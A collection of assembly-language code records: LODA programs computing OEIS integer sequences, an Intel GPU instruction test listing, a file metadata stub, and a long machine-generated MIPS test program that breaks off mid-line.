[ "Apache-2.0" ]
9
2021-08-29T13:15:54.000Z
2022-03-09T19:52:31.000Z
oeis/003/A003071.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
3
2021-08-22T20:56:47.000Z
2021-09-29T06:26:12.000Z
; A003071: Sorting numbers: maximal number of comparisons for sorting n elements by list merging. ; Submitted by Christian Krause ; 0,1,3,5,9,11,14,17,25,27,30,33,38,41,45,49,65,67,70,73,78,81,85,89,98,101,105,109,115,119,124,129,161,163,166,169,174,177,181,185,194,197,201,205,211,215,220,225,242,245,249,253,259,263,268,273,283,287,292,297,304,309,315,321,385,387,390,393,398,401,405,409,418,421,425,429,435,439,444,449,466,469,473,477,483,487,492,497,507,511,516,521,528,533,539,545,578,581,585,589 mov $6,$0 mov $7,$0 lpb $6 mov $0,$7 mov $1,0 sub $6,1 sub $0,$6 add $0,1 mov $2,1 lpb $0 mov $3,$0 lpb $3 sub $0,1 add $1,6 mov $3,$4 mov $5,$2 cmp $5,1 lpe mov $2,2 lpb $0 dif $0,$2 mul $5,$2 lpe add $5,1 mul $1,$5 lpe mov $0,$1 sub $0,12 div $0,6 add $8,$0 lpe mov $0,$8
23.648649
371
0.598857
1a66ae6ef9e5a089fd15ad6b2343f4327ded5262
796
asm
Assembly
programs/oeis/157/A157735.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
22
2018-02-06T19:19:31.000Z
2022-01-17T21:53:31.000Z
programs/oeis/157/A157735.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
41
2021-02-22T19:00:34.000Z
2021-08-28T10:47:47.000Z
programs/oeis/157/A157735.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
5
2021-02-24T21:14:16.000Z
2021-08-09T19:48:05.000Z
; A157735: 18522n - 8274. ; 10248,28770,47292,65814,84336,102858,121380,139902,158424,176946,195468,213990,232512,251034,269556,288078,306600,325122,343644,362166,380688,399210,417732,436254,454776,473298,491820,510342,528864,547386,565908,584430,602952,621474,639996,658518,677040,695562,714084,732606,751128,769650,788172,806694,825216,843738,862260,880782,899304,917826,936348,954870,973392,991914,1010436,1028958,1047480,1066002,1084524,1103046,1121568,1140090,1158612,1177134,1195656,1214178,1232700,1251222,1269744,1288266,1306788,1325310,1343832,1362354,1380876,1399398,1417920,1436442,1454964,1473486,1492008,1510530,1529052,1547574,1566096,1584618,1603140,1621662,1640184,1658706,1677228,1695750,1714272,1732794,1751316,1769838,1788360,1806882,1825404,1843926 mul $0,18522 add $0,10248
132.666667
742
0.849246
72f35e547b8c3c1254eb6e7b44eab26df0c32a03
1,513
asm
Assembly
src/intel/tools/tests/gen6/and.asm
SoftReaper/Mesa-Renoir-deb
8d1de1f66058d62b41fe55d36522efea2bdf996d
[ "MIT" ]
null
null
null
src/intel/tools/tests/gen6/and.asm
SoftReaper/Mesa-Renoir-deb
8d1de1f66058d62b41fe55d36522efea2bdf996d
[ "MIT" ]
null
null
null
src/intel/tools/tests/gen6/and.asm
SoftReaper/Mesa-Renoir-deb
8d1de1f66058d62b41fe55d36522efea2bdf996d
[ "MIT" ]
null
null
null
and(8) g22<1>UD g21<8,8,1>UD g20<8,8,1>UD { align1 1Q }; and.nz.f0.0(8) null<1>UD g24<8,8,1>UD g25<8,8,1>UD { align1 1Q }; and(16) g41<1>UD g39<8,8,1>UD g37<8,8,1>UD { align1 1H }; and.nz.f0.0(16) null<1>UD g45<8,8,1>UD g47<8,8,1>UD { align1 1H }; and(1) g28<1>UD g55<0,1,0>UD 0x0000ffffUD { align1 1N }; and(8) g64<1>.xUD g27<4>.xUD 0x0000ffffUD { align16 1Q }; and(8) g12<1>UD g11<8,8,1>UD 0x00000001UD { align1 1Q }; and(16) g19<1>UD g17<8,8,1>UD 0x00000001UD { align1 1H }; and(8) g16<1>.xUD g4<4>.yUD g3<4>.xUD { align16 1Q }; and(8) g5<1>D g2.4<0,1,0>D -g2.4<0,1,0>D { align1 1Q }; and(16) g6<1>D g2.4<0,1,0>D -g2.4<0,1,0>D { align1 1H }; and(1) g22<1>UD g0<0,1,0>UD 0x000000c0UD { align1 WE_all 1N }; and(8) g12<1>D g1.4<0>D -g1.4<0>D { align16 1Q }; and.nz.f0.0(8) null<1>.xUD g90<4>.xUD g89<4>.xUD { align16 1Q }; and.nz.f0.0(8) null<1>UD g4<0,1,0>UD 0x00000001UD { align1 1Q }; and.nz.f0.0(16) null<1>UD g6<0,1,0>UD 0x00000001UD { align1 1H }; and.z.f0.0(8) null<1>UD g20<8,8,1>UD 0x00000001UD { align1 1Q }; and.z.f0.0(16) null<1>UD g33<8,8,1>UD 0x00000001UD { align1 1H }; and.z.f0.0(8) null<1>.xUD g3<4>.xUD 0x00000001UD { align16 1Q };
75.65
85
0.47918
8e751f1c290ede085478dd2c8f527e301034deca
354
asm
Assembly
programs/oeis/101/A101651.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
22
2018-02-06T19:19:31.000Z
2022-01-17T21:53:31.000Z
programs/oeis/101/A101651.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
41
2021-02-22T19:00:34.000Z
2021-08-28T10:47:47.000Z
programs/oeis/101/A101651.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
5
2021-02-24T21:14:16.000Z
2021-08-09T19:48:05.000Z
; A101651: a(n)=Product{k=0..n, 1+0^A010060(k)}/2. ; 1,1,1,2,2,4,8,8,8,16,32,32,64,64,64,128,128,256,512,512,1024,1024,1024,2048,4096,4096,4096,8192,8192,16384,32768,32768,32768,65536,131072,131072,262144,262144,262144,524288,1048576,1048576,1048576,2097152 seq $0,245710 ; Number of nonzero evil numbers <= n, see A001969. mov $1,2 pow $1,$0 mov $0,$1
44.25
206
0.714689
1c5ae728c9224334371ac92ca19fdded3bf0f579
147
asm
Assembly
other.7z/SFC.7z/SFC/ソースデータ/ゼルダの伝説神々のトライフォース/NES_Ver2/us_asm/zel_char2.asm
prismotizm/gigaleak
d082854866186a05fec4e2fdf1def0199e7f3098
[ "MIT" ]
null
null
null
other.7z/SFC.7z/SFC/ソースデータ/ゼルダの伝説神々のトライフォース/NES_Ver2/us_asm/zel_char2.asm
prismotizm/gigaleak
d082854866186a05fec4e2fdf1def0199e7f3098
[ "MIT" ]
null
null
null
other.7z/SFC.7z/SFC/ソースデータ/ゼルダの伝説神々のトライフォース/NES_Ver2/us_asm/zel_char2.asm
prismotizm/gigaleak
d082854866186a05fec4e2fdf1def0199e7f3098
[ "MIT" ]
null
null
null
Name: zel_char2.asm Type: file Size: 27540 Last-Modified: '2016-05-13T04:27:09Z' SHA-1: B2E9198B1D2C7E955EF4BC861927438969C66BA4 Description: null
21
47
0.816327
c6ba3329f48e17890c592c4e6d986ce14a095e49
640
a51
Assembly
Fireware/target/lib/Ezusb/delayms.a51
iclosure/arinc429
55031fa877418113c97fa1b2e12bcd16c8a323f7
[ "MIT" ]
1
2019-03-19T00:23:33.000Z
2019-03-19T00:23:33.000Z
Fireware/target/lib/Ezusb/delayms.a51
iclosure/arinc429
55031fa877418113c97fa1b2e12bcd16c8a323f7
[ "MIT" ]
null
null
null
Fireware/target/lib/Ezusb/delayms.a51
iclosure/arinc429
55031fa877418113c97fa1b2e12bcd16c8a323f7
[ "MIT" ]
null
null
null
NAME DELAY1MS PUBLIC EZUSB_DELAY1MS $include (..\..\inc\ezregs.inc) EZUSB segment code rseg EZUSB EZUSB_DELAY1MS: ; Delay for 1 millisecond (1000 microseconds). ; 10 cycles * 166.6 ns per cycle is 1.66 microseconds per loop. ; 1000 microseconds / 1.66 = 602. [assumes 24 MHz clock] ; mov a, #0 ; Clear dps so that we're using dph and dpl! mov dps, a ; mov dptr,#(0ffffH - 602) ; long pulse for operating mov r4,#5 loop: inc dptr ; 3 cycles mov a,dpl ; 2 cycles orl a,dph ; 2 cycles jnz loop ; 3 cycles ; er_end: ret end
24.615385
63
0.578125
71fd237934023adf5f0d555658eaaea504642b14
45,098
asm
Assembly
P6/P6Judger - 100 testpoints/testpoint/testpoint26.asm
flyinglandlord/BUAA-CO-2021
1aa28b09762dfb2376ed2aac4126839f0e6fcf93
[ "MIT" ]
5
2021-12-05T12:58:26.000Z
2022-03-31T02:05:13.000Z
P6/P6Judger - 100 testpoints/testpoint/testpoint26.asm
OliverDu8-24/BUAA-CO-2021
9959abd90de9039d751bab64f153547e76066665
[ "MIT" ]
null
null
null
P6/P6Judger - 100 testpoints/testpoint/testpoint26.asm
OliverDu8-24/BUAA-CO-2021
9959abd90de9039d751bab64f153547e76066665
[ "MIT" ]
2
2021-12-19T11:49:48.000Z
2021-12-22T10:25:38.000Z
ori $1, $0, 1 ori $2, $0, 8 ori $3, $0, 7 ori $4, $0, 5 sw $2, 0($0) sw $1, 4($0) sw $2, 8($0) sw $2, 12($0) sw $1, 16($0) sw $1, 20($0) sw $4, 24($0) sw $2, 28($0) sw $1, 32($0) sw $1, 36($0) sw $2, 40($0) sw $3, 44($0) sw $4, 48($0) sw $3, 52($0) sw $4, 56($0) sw $4, 60($0) sw $2, 64($0) sw $2, 68($0) sw $2, 72($0) sw $1, 76($0) sw $1, 80($0) sw $3, 84($0) sw $1, 88($0) sw $1, 92($0) sw $1, 96($0) sw $3, 100($0) sw $2, 104($0) sw $2, 108($0) sw $1, 112($0) sw $3, 116($0) sw $1, 120($0) sw $4, 124($0) bne $2, $2, TAG1 sw $2, 0($2) srav $1, $2, $2 bltz $1, TAG1 TAG1: lui $3, 2 multu $3, $1 sll $0, $0, 0 mtlo $1 TAG2: mtlo $3 xor $1, $3, $3 sll $0, $0, 0 srlv $3, $1, $1 TAG3: lhu $1, 0($3) blez $1, TAG4 mtlo $3 andi $1, $3, 5 TAG4: mflo $3 bgtz $3, TAG5 lhu $1, 0($1) bne $3, $3, TAG5 TAG5: and $1, $1, $1 mflo $2 lbu $2, 0($1) addiu $1, $1, 10 TAG6: beq $1, $1, TAG7 div $1, $1 sw $1, 0($1) mflo $1 TAG7: bne $1, $1, TAG8 lbu $1, 0($1) multu $1, $1 slti $2, $1, 5 TAG8: sb $2, 0($2) multu $2, $2 lbu $3, 0($2) mfhi $2 TAG9: sw $2, 0($2) bne $2, $2, TAG10 lui $2, 5 mfhi $3 TAG10: bgez $3, TAG11 lui $4, 10 xori $2, $3, 12 mflo $3 TAG11: multu $3, $3 bgez $3, TAG12 sb $3, 0($3) mflo $1 TAG12: bne $1, $1, TAG13 mflo $4 sb $1, 0($4) sll $2, $1, 9 TAG13: lbu $2, 0($2) subu $2, $2, $2 lui $4, 0 mult $4, $2 TAG14: lui $2, 4 addiu $2, $2, 2 beq $4, $2, TAG15 mtlo $2 TAG15: lui $2, 3 lui $2, 10 lui $1, 12 sllv $2, $2, $1 TAG16: divu $2, $2 slt $1, $2, $2 lui $4, 15 blez $1, TAG17 TAG17: sll $0, $0, 0 lui $1, 4 mult $1, $4 mthi $1 TAG18: sll $0, $0, 0 bne $3, $1, TAG19 lui $3, 13 bgez $1, TAG19 TAG19: sll $1, $3, 2 mthi $1 lui $1, 7 bgtz $1, TAG20 TAG20: sll $0, $0, 0 addu $4, $1, $1 sll $0, $0, 0 blez $1, TAG21 TAG21: mtlo $1 blez $1, TAG22 mult $1, $1 mfhi $1 TAG22: mtlo $1 sb $1, 0($1) beq $1, $1, TAG23 sra $1, $1, 13 TAG23: lhu $1, 0($1) add $2, $1, $1 mtlo $1 mult $1, $1 TAG24: addi $1, $2, 7 sh $1, 0($2) mult $1, $2 lui $2, 13 TAG25: addiu $4, $2, 0 bne $2, $4, TAG26 sll $0, $0, 0 beq $2, $2, TAG26 TAG26: divu $2, $2 beq $2, $2, TAG27 mfhi $3 lui $1, 8 TAG27: lui $2, 7 lui $4, 4 sll $0, $0, 0 bltz $1, TAG28 TAG28: sll $0, $0, 0 mult $4, $4 beq $4, $4, TAG29 divu $4, $4 TAG29: blez $4, TAG30 mult $4, $4 mtlo $4 mthi $4 TAG30: mthi $4 subu $3, $4, $4 mtlo $4 mflo $1 TAG31: addu $4, $1, $1 mtlo $1 sll $0, $0, 0 sll $0, $0, 0 TAG32: srl $2, $3, 8 bne $2, $2, TAG33 subu $1, $3, $3 lb $3, 0($1) TAG33: sllv $2, $3, $3 bltz $2, TAG34 mfhi $4 mtlo $2 TAG34: sll $1, $4, 15 sltu $2, $1, $4 and $3, $1, $2 nor $2, $4, $1 TAG35: blez $2, TAG36 divu $2, $2 divu $2, $2 ori $2, $2, 13 TAG36: sltiu $3, $2, 8 lui $2, 12 mfhi $3 mthi $3 TAG37: xor $2, $3, $3 beq $2, $3, TAG38 xor $3, $3, $3 sh $3, 0($2) TAG38: srav $2, $3, $3 bne $3, $3, TAG39 subu $4, $2, $3 mtlo $3 TAG39: srl $1, $4, 14 sltiu $2, $1, 10 sb $4, 0($2) bgtz $2, TAG40 TAG40: sb $2, 0($2) sra $3, $2, 15 lbu $1, 0($2) andi $3, $3, 15 TAG41: addi $1, $3, 9 mfhi $1 mflo $2 mfhi $2 TAG42: ori $1, $2, 9 beq $1, $2, TAG43 mfhi $4 sw $4, 0($2) TAG43: mult $4, $4 beq $4, $4, TAG44 mflo $3 srav $1, $3, $4 TAG44: mtlo $1 sb $1, 0($1) div $1, $1 sb $1, 0($1) TAG45: slt $1, $1, $1 bgez $1, TAG46 mthi $1 bne $1, $1, TAG46 TAG46: mthi $1 xori $4, $1, 11 sh $1, 0($1) addiu $3, $4, 10 TAG47: bgtz $3, TAG48 sltiu $2, $3, 11 mtlo $2 mflo $1 TAG48: mflo $4 bne $4, $1, TAG49 mthi $4 slt $1, $4, $1 TAG49: lui $4, 9 beq $4, $4, TAG50 mthi $4 multu $4, $4 TAG50: lui $2, 2 sltu $2, $2, $2 sll $0, $0, 0 multu $2, $1 TAG51: bgtz $1, TAG52 mflo $1 mthi $1 sh $1, 0($1) TAG52: mfhi $3 andi $2, $1, 4 sllv $2, $3, $3 mult $1, $2 TAG53: bgtz $2, TAG54 srl $2, $2, 12 bltz $2, TAG54 sb $2, 0($2) TAG54: sltiu $3, $2, 5 sltu $2, $2, $3 sb $2, 0($2) bgez $3, TAG55 TAG55: and $1, $2, $2 lb $2, 0($2) bgtz $2, TAG56 and $3, $1, $1 TAG56: mtlo $3 sll $2, $3, 10 lui $4, 1 mfhi $2 TAG57: sltu $4, $2, $2 sub $3, $2, $4 sb $2, 0($4) mtlo $2 TAG58: multu $3, $3 slti $1, $3, 0 sw $3, 0($1) sub $1, $1, $3 TAG59: mthi $1 bgtz $1, TAG60 mtlo $1 multu $1, $1 TAG60: mflo $2 mflo $1 sltiu $1, $1, 3 mfhi $2 TAG61: sltiu $3, $2, 11 addi $3, $2, 0 add $4, $3, $3 sb $2, 0($3) TAG62: bltz $4, TAG63 srlv $3, $4, $4 lui $2, 7 lui $4, 14 TAG63: sll $0, $0, 0 beq $4, $4, TAG64 sll $0, $0, 0 divu $4, $4 TAG64: lui $3, 10 beq $4, $3, TAG65 sll $0, $0, 0 subu $1, $3, $4 TAG65: div $1, $1 multu $1, $1 mult $1, $1 divu $1, $1 TAG66: mfhi $2 lui $1, 0 bltz $1, TAG67 lui $3, 4 TAG67: mfhi $1 sh $1, 0($1) mflo $2 sw $3, 0($1) TAG68: mfhi $3 sb $3, 0($2) sb $2, 0($2) lb $1, 0($2) TAG69: subu $4, $1, $1 addiu $1, $1, 10 lui $4, 5 bgez $1, TAG70 TAG70: lui $4, 6 beq $4, $4, TAG71 mult $4, $4 srav $4, $4, $4 TAG71: bgtz $4, TAG72 lui $1, 11 mthi $1 lui $3, 8 TAG72: sw $3, 0($3) bgtz $3, TAG73 mtlo $3 blez $3, TAG73 TAG73: mtlo $3 beq $3, $3, TAG74 sll $4, $3, 5 mtlo $3 TAG74: bgez $4, TAG75 mflo $2 srl $3, $4, 0 bgtz $3, TAG75 TAG75: addu $1, $3, $3 mfhi $2 sh $1, 0($3) bgez $3, TAG76 TAG76: slti $4, $2, 4 lbu $3, 0($2) addu $3, $2, $3 mthi $4 TAG77: div $3, $3 srlv $3, $3, $3 sb $3, 0($3) div $3, $3 TAG78: lb $4, 0($3) sltiu $1, $3, 6 addu $3, $1, $4 div $1, $3 TAG79: lhu $2, 0($3) sb $3, 0($2) mthi $2 lb $3, 0($2) TAG80: sh $3, 0($3) bne $3, $3, TAG81 lui $2, 5 sh $2, 0($3) TAG81: mtlo $2 mflo $3 bne $3, $2, TAG82 lui $2, 7 TAG82: mflo $1 mfhi $3 addiu $1, $1, 12 beq $2, $3, TAG83 TAG83: sll $0, $0, 0 and $1, $1, $1 andi $4, $1, 7 mthi $4 TAG84: slti $2, $4, 14 bne $4, $2, TAG85 sll $2, $4, 7 lb $1, 0($4) TAG85: addiu $4, $1, 8 addiu $3, $4, 4 bgtz $3, TAG86 lui $1, 2 TAG86: sll $0, $0, 0 mfhi $1 mtlo $1 mthi $1 TAG87: mflo $3 sw $1, 0($1) mtlo $3 lui $1, 15 TAG88: sll $0, $0, 0 slti $1, $1, 9 bgez $1, TAG89 multu $1, $1 TAG89: sh $1, 0($1) sltu $4, $1, $1 mflo $4 lb $3, 0($4) TAG90: mtlo $3 or $4, $3, $3 sb $4, 0($4) mult $4, $3 TAG91: bne $4, $4, TAG92 sllv $2, $4, $4 xori $1, $4, 11 sh $2, 0($2) TAG92: srav $1, $1, $1 mflo $3 mult $3, $3 lui $2, 7 TAG93: slt $4, $2, $2 sll $0, $0, 0 mult $2, $4 lhu $4, 0($4) TAG94: lui $3, 6 subu $4, $3, $3 mflo $4 lui $4, 6 TAG95: srlv $2, $4, $4 nor $1, $4, $4 slti $1, $1, 8 nor $4, $4, $2 TAG96: mfhi $4 andi $3, $4, 15 mtlo $4 lui $2, 5 TAG97: addu $4, $2, $2 xori $3, $2, 14 lui $4, 8 mthi $4 TAG98: addu $3, $4, $4 bltz $4, TAG99 mthi $3 sll $0, $0, 0 TAG99: lui $3, 1 lui $2, 10 lui $2, 11 mflo $1 TAG100: mfhi $2 nor $1, $1, $2 sll $0, $0, 0 bne $1, $1, TAG101 TAG101: lui $3, 14 mtlo $1 bne $3, $3, TAG102 sll $0, $0, 0 TAG102: slt $1, $3, $3 sll $0, $0, 0 bgtz $3, TAG103 div $1, $3 TAG103: bgtz $1, TAG104 lw $3, 0($1) mult $3, $3 lui $3, 15 TAG104: multu $3, $3 mtlo $3 bne $3, $3, TAG105 mthi $3 TAG105: mtlo $3 bne $3, $3, TAG106 andi $2, $3, 9 andi $4, $3, 15 TAG106: lhu $1, 0($4) bgtz $1, TAG107 multu $1, $1 beq $1, $4, TAG107 TAG107: or $4, $1, $1 multu $1, $4 subu $3, $1, $4 beq $3, $3, TAG108 TAG108: sh $3, 0($3) lui $1, 6 multu $3, $3 bne $3, $3, TAG109 TAG109: mtlo $1 mtlo $1 sra $1, $1, 8 mfhi $4 TAG110: beq $4, $4, TAG111 lui $3, 5 nor $1, $3, $3 mfhi $2 TAG111: sh $2, 0($2) bgtz $2, TAG112 sb $2, 0($2) beq $2, $2, TAG112 TAG112: lui $4, 10 srlv $1, $2, $2 lw $1, 0($2) bne $1, $1, TAG113 TAG113: mthi $1 bgez $1, TAG114 lui $4, 6 div $4, $4 TAG114: slt $4, $4, $4 nor $4, $4, $4 lui $2, 13 blez $4, TAG115 TAG115: mtlo $2 xori $4, $2, 0 mtlo $4 beq $4, $4, TAG116 TAG116: lui $3, 2 bne $4, $4, TAG117 sll $0, $0, 0 srav $3, $4, $3 TAG117: mflo $3 sll $0, $0, 0 sll $0, $0, 0 mfhi $2 TAG118: slti $4, $2, 13 mfhi $1 bgtz $2, TAG119 lui $3, 9 TAG119: bne $3, $3, TAG120 mthi $3 sll $0, $0, 0 div $3, $3 TAG120: mflo $3 blez $3, TAG121 sll $2, $3, 15 blez $2, TAG121 TAG121: mtlo $2 sll $0, $0, 0 slt $3, $3, $2 addiu $2, $3, 3 TAG122: lui $2, 10 mfhi $4 and $2, $2, $2 bltz $2, TAG123 TAG123: div $2, $2 sll $0, $0, 0 div $4, $2 xori $2, $2, 8 TAG124: sll $0, $0, 0 lui $1, 2 bne $1, $1, TAG125 mtlo $1 TAG125: sll $0, $0, 0 lui $4, 11 mflo $2 sll $0, $0, 0 TAG126: blez $1, TAG127 multu $1, $1 slti $3, $1, 0 mflo $4 TAG127: mtlo $4 sw $4, 0($4) bgtz $4, TAG128 mfhi $1 TAG128: lui $4, 9 mult $4, $4 mfhi $2 ori $4, $2, 4 TAG129: bgez $4, TAG130 sb $4, 0($4) lui $1, 5 mult $4, $1 TAG130: srav $2, $1, $1 addiu $4, $1, 5 bgtz $1, TAG131 lui $2, 7 TAG131: addu $4, $2, $2 bltz $4, TAG132 srl $2, $4, 3 sll $0, $0, 0 TAG132: sll $3, $4, 8 blez $4, TAG133 sll $0, $0, 0 subu $2, $3, $3 TAG133: sh $2, 0($2) sh $2, 0($2) lbu $2, 0($2) mtlo $2 TAG134: lui $2, 11 mflo $1 multu $1, $2 addu $3, $2, $2 TAG135: bne $3, $3, TAG136 sllv $1, $3, $3 bltz $3, TAG136 mfhi $3 TAG136: blez $3, TAG137 sltu $4, $3, $3 beq $3, $3, TAG137 lb $3, 0($4) TAG137: multu $3, $3 lui $2, 10 bne $3, $3, TAG138 mtlo $3 TAG138: mflo $4 sw $2, 0($4) mthi $4 mtlo $4 TAG139: multu $4, $4 lui $4, 12 lui $3, 5 bne $3, $4, TAG140 TAG140: lui $3, 13 mtlo $3 divu $3, $3 lui $3, 6 TAG141: sltiu $1, $3, 5 lui $1, 13 lui $3, 15 multu $3, $1 TAG142: sll $0, $0, 0 bltz $3, TAG143 or $3, $3, $3 slti $1, $3, 11 TAG143: mfhi $1 xori $1, $1, 2 mfhi $4 mflo $2 TAG144: bltz $2, TAG145 mflo $3 multu $2, $2 sll $4, $2, 10 TAG145: mflo $1 multu $4, $1 mtlo $1 sllv $4, $4, $1 TAG146: lui $1, 3 div $4, $1 sltiu $3, $1, 12 mfhi $1 TAG147: lui $3, 9 sll $0, $0, 0 mult $3, $1 lui $3, 0 TAG148: lui $2, 10 lui $2, 1 bgtz $2, TAG149 sll $0, $0, 0 TAG149: bltz $2, TAG150 mthi $2 mthi $2 sll $0, $0, 0 TAG150: slti $3, $2, 5 mthi $3 bne $3, $3, TAG151 lui $3, 4 TAG151: subu $1, $3, $3 lw $4, 0($1) beq $1, $3, TAG152 mfhi $2 TAG152: mtlo $2 sb $2, 0($2) sra $2, $2, 1 andi $1, $2, 3 TAG153: sb $1, 0($1) srav $1, $1, $1 srl $1, $1, 13 lhu $3, 0($1) TAG154: lw $2, 0($3) sb $3, 0($3) lhu $4, 0($3) lw $2, 0($4) TAG155: mthi $2 addu $1, $2, $2 xori $3, $1, 14 sll $0, $0, 0 TAG156: mthi $3 div $3, $3 lui $4, 8 bne $3, $4, TAG157 TAG157: sll $0, $0, 0 lui $2, 7 addu $1, $4, $2 bne $4, $1, TAG158 TAG158: mflo $2 xori $2, $2, 3 lui $1, 6 bne $1, $2, TAG159 TAG159: sra $1, $1, 11 mflo $1 nor $3, $1, $1 or $1, $1, $3 TAG160: xor $1, $1, $1 mult $1, $1 mfhi $2 bgtz $1, TAG161 TAG161: mfhi $1 sb $2, 0($2) slti $1, $2, 12 beq $1, $1, TAG162 TAG162: subu $2, $1, $1 xor $3, $1, $1 sw $1, 0($2) addiu $1, $1, 10 TAG163: lb $2, 0($1) bne $1, $2, TAG164 sw $2, 0($2) and $3, $1, $2 TAG164: blez $3, TAG165 sh $3, 0($3) divu $3, $3 addiu $1, $3, 14 TAG165: sb $1, 0($1) lui $1, 14 beq $1, $1, TAG166 addu $3, $1, $1 TAG166: mthi $3 div $3, $3 lui $1, 3 mthi $3 TAG167: subu $1, $1, $1 beq $1, $1, TAG168 sh $1, 0($1) beq $1, $1, TAG168 TAG168: lui $1, 15 bne $1, $1, TAG169 sra $4, $1, 4 bgtz $4, TAG169 TAG169: mtlo $4 sll $0, $0, 0 sll $0, $0, 0 mfhi $4 TAG170: mflo $2 beq $2, $2, TAG171 lui $3, 6 mthi $4 TAG171: bne $3, $3, TAG172 sll $0, $0, 0 lui $4, 8 bne $4, $3, TAG172 TAG172: mflo $4 bgez $4, TAG173 sll $0, $0, 0 mthi $4 TAG173: nor $1, $4, $4 mflo $3 sll $0, $0, 0 div $3, $1 TAG174: mflo $4 bltz $3, TAG175 lui $2, 0 multu $3, $4 TAG175: mflo $4 xori $2, $2, 10 mfhi $1 bgez $2, TAG176 TAG176: lui $3, 9 bgez $1, TAG177 lui $4, 8 sub $1, $1, $1 TAG177: mthi $1 blez $1, TAG178 mult $1, $1 xori $1, $1, 7 TAG178: sw $1, 0($1) subu $1, $1, $1 mtlo $1 lui $4, 5 TAG179: bgtz $4, TAG180 sll $0, $0, 0 mthi $4 lhu $1, 0($4) TAG180: lui $3, 0 bltz $1, TAG181 lb $4, 0($3) lui $2, 9 TAG181: sll $0, $0, 0 mtlo $2 sll $0, $0, 0 mflo $1 TAG182: bltz $1, TAG183 subu $2, $1, $1 lui $4, 14 div $1, $1 TAG183: nor $2, $4, $4 lui $2, 1 beq $2, $2, TAG184 slti $3, $2, 7 TAG184: sll $1, $3, 13 sb $1, 0($1) lb $4, 0($3) nor $2, $1, $3 TAG185: mthi $2 multu $2, $2 lh $2, 1($2) sb $2, 0($2) TAG186: beq $2, $2, TAG187 mfhi $1 bltz $1, TAG187 mthi $1 TAG187: sll $0, $0, 0 sb $1, 0($4) multu $1, $4 sb $1, 0($4) TAG188: lui $4, 15 divu $4, $4 sra $1, $4, 2 sll $0, $0, 0 TAG189: mfhi $3 bne $1, $3, TAG190 srl $4, $1, 1 bne $4, $3, TAG190 TAG190: sll $0, $0, 0 sll $0, $0, 0 mfhi $2 bgez $2, TAG191 TAG191: mflo $1 lui $2, 14 lbu $1, 0($1) mtlo $1 TAG192: lw $4, 0($1) mtlo $4 sltiu $2, $1, 2 lui $3, 6 TAG193: addu $1, $3, $3 addiu $1, $3, 15 mtlo $3 subu $3, $1, $1 TAG194: lhu $2, 0($3) lui $4, 7 lui $4, 3 nor $4, $4, $4 TAG195: bltz $4, TAG196 mflo $2 divu $4, $2 mflo $1 TAG196: sll $2, $1, 13 divu $2, $2 sll $0, $0, 0 slti $1, $2, 12 TAG197: bne $1, $1, TAG198 lb $3, 0($1) srav $4, $1, $1 sh $4, 0($4) TAG198: xor $1, $4, $4 lui $2, 4 sb $1, 0($1) lh $2, 0($1) TAG199: mthi $2 slti $4, $2, 11 mult $2, $2 mtlo $2 TAG200: lb $2, 0($4) lui $1, 15 lui $1, 12 bne $2, $2, TAG201 TAG201: subu $1, $1, $1 lui $4, 5 mtlo $1 bne $1, $1, TAG202 TAG202: sltiu $1, $4, 3 mult $1, $4 bne $1, $4, TAG203 and $4, $4, $1 TAG203: bgtz $4, TAG204 mult $4, $4 mfhi $2 mflo $1 TAG204: lui $1, 1 mflo $2 bgtz $2, TAG205 mthi $1 TAG205: bgtz $2, TAG206 mfhi $4 srlv $3, $4, $4 or $4, $3, $3 TAG206: mfhi $1 sll $0, $0, 0 mflo $1 mult $4, $1 TAG207: sh $1, 0($1) sw $1, 0($1) sub $2, $1, $1 srl $4, $1, 2 TAG208: subu $4, $4, $4 mthi $4 sh $4, 0($4) sh $4, 0($4) TAG209: lui $3, 6 sll $0, $0, 0 sll $0, $0, 0 slti $2, $4, 5 TAG210: mflo $3 sb $3, 0($3) mfhi $2 xori $2, $2, 13 TAG211: multu $2, $2 bne $2, $2, TAG212 slti $4, $2, 12 mthi $4 TAG212: sra $2, $4, 6 lui $3, 13 sh $2, 0($2) bltz $2, TAG213 TAG213: addiu $3, $3, 4 xor $2, $3, $3 lui $4, 1 mfhi $4 TAG214: mflo $3 lhu $3, 0($4) sltiu $3, $4, 15 beq $4, $4, TAG215 TAG215: mthi $3 lb $3, 0($3) mflo $3 lb $4, -169($3) TAG216: multu $4, $4 beq $4, $4, TAG217 xor $3, $4, $4 mtlo $4 TAG217: bltz $3, TAG218 mtlo $3 sw $3, 0($3) bne $3, $3, TAG218 TAG218: sw $3, 0($3) multu $3, $3 xor $4, $3, $3 lb $4, 0($4) TAG219: sw $4, 0($4) bltz $4, TAG220 mflo $2 lui $3, 11 TAG220: bgtz $3, TAG221 sll $0, $0, 0 sh $3, 0($3) sltiu $3, $3, 10 TAG221: mult $3, $3 mthi $3 divu $3, $3 beq $3, $3, TAG222 TAG222: sll $0, $0, 0 blez $3, TAG223 slti $4, $3, 6 mtlo $4 TAG223: lui $1, 8 sb $1, 0($4) mtlo $4 beq $1, $4, TAG224 TAG224: mfhi $3 beq $3, $1, TAG225 xor $1, $1, $1 bne $1, $3, TAG225 TAG225: sllv $1, $1, $1 bgtz $1, TAG226 lh $2, 0($1) bgez $2, TAG226 TAG226: lui $2, 4 bgtz $2, TAG227 sll $0, $0, 0 bne $2, $2, TAG227 TAG227: lui $1, 1 sltu $4, $1, $1 sll $0, $0, 0 bltz $4, TAG228 TAG228: multu $3, $3 mfhi $2 lbu $2, 0($2) sltiu $4, $3, 4 TAG229: subu $4, $4, $4 mtlo $4 mthi $4 mfhi $4 TAG230: sra $1, $4, 12 sh $1, 0($1) mfhi $1 mult $4, $1 TAG231: sw $1, 0($1) mthi $1 mtlo $1 mtlo $1 TAG232: lw $2, 0($1) mflo $2 multu $2, $2 srl $4, $1, 14 TAG233: sh $4, 0($4) bne $4, $4, TAG234 lui $1, 12 slti $1, $4, 8 TAG234: addiu $4, $1, 7 lb $1, 